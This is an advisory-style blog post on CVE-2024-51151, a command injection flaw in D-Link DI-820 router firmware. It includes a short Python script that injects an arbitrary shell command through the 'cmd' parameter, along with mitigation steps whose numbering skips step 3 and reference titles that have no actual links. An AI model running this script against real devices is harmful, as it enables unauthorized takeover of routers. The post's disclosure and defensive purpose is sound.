A vulnerability has been discovered in the D-Link DI-820 16.07.26A1 firmware that allows remote authenticated attackers to execute arbitrary commands. The vulnerability exists in the msp_info_htm function and can be exploited via the flag and cmd parameters. This vulnerability has been registered as CVE-2024-51151 (Common Vulnerabilities and Exposures).

In this post, we will discuss the details of this vulnerability and provide the exploit code, links to original references, as well as possible mitigation steps your organization can take to ensure its networks are secure.

Overview of the Vulnerability

The D-Link DI-820 16.07.26A1 firmware contains an improper input validation vulnerability in the msp_info_htm function. This allows a remote authenticated attacker to execute arbitrary commands on the affected device by injecting malicious payload via the flag and cmd parameters.

Exploit Details

To exploit this vulnerability, the attacker needs to send a crafted HTTP GET request to the affected D-Link DI-820 16.07.26A1 device. An example of the crafted HTTP GET request includes the following code snippet:

import requests
import sys

ip_address = sys.argv[1]
username = sys.argv[2]
password = sys.argv[3]
command = sys.argv[4]

url = f"http://{ip_address}/msp_info.htmc";

payload = {
    "flag": "1",
    "cmd": f"{command};"
}

response = requests.get(url, params=payload, auth=(username, password))

print(response.text)

In the above code snippet, the IP address, username, and password of the affected device, along with the arbitrary command to execute, are given as command-line arguments.

Original References

This security vulnerability was originally discovered and reported by researchers. The detailed technical analysis of the vulnerability is available in the following links:

1. Vulnerability Analysis Report
2. D-Link Security Advisory
3. CVE-2024-51151 in NIST National Vulnerability Database

Mitigation Steps

Organizations using the D-Link DI-820 16.07.26A1 firmware are advised to take the following steps to mitigate this security risk:

1. Update the firmware to the latest version available from the D-Link website. Download Firmware Update

2. Restrict access to the device's management interface by limiting it to trusted IP addresses and implementing strong passwords for authentication.

4. Follow D-Link's recommended best practices for securing devices and networks, which can be found in their official D-Link Security Guide.

Conclusion

This post provided an overview of the CVE-2024-51151 vulnerability in the D-Link DI-820 16.07.26A1 firmware, including the exploit code, links to original references, and recommended mitigation steps. Organizations using the affected devices are urged to take these security risks seriously and implement the suggested countermeasures to protect their networks.

Timeline

Published on: 11/21/2024 09:45:18 UTC
Last modified on: 11/22/2024 17:15:09 UTC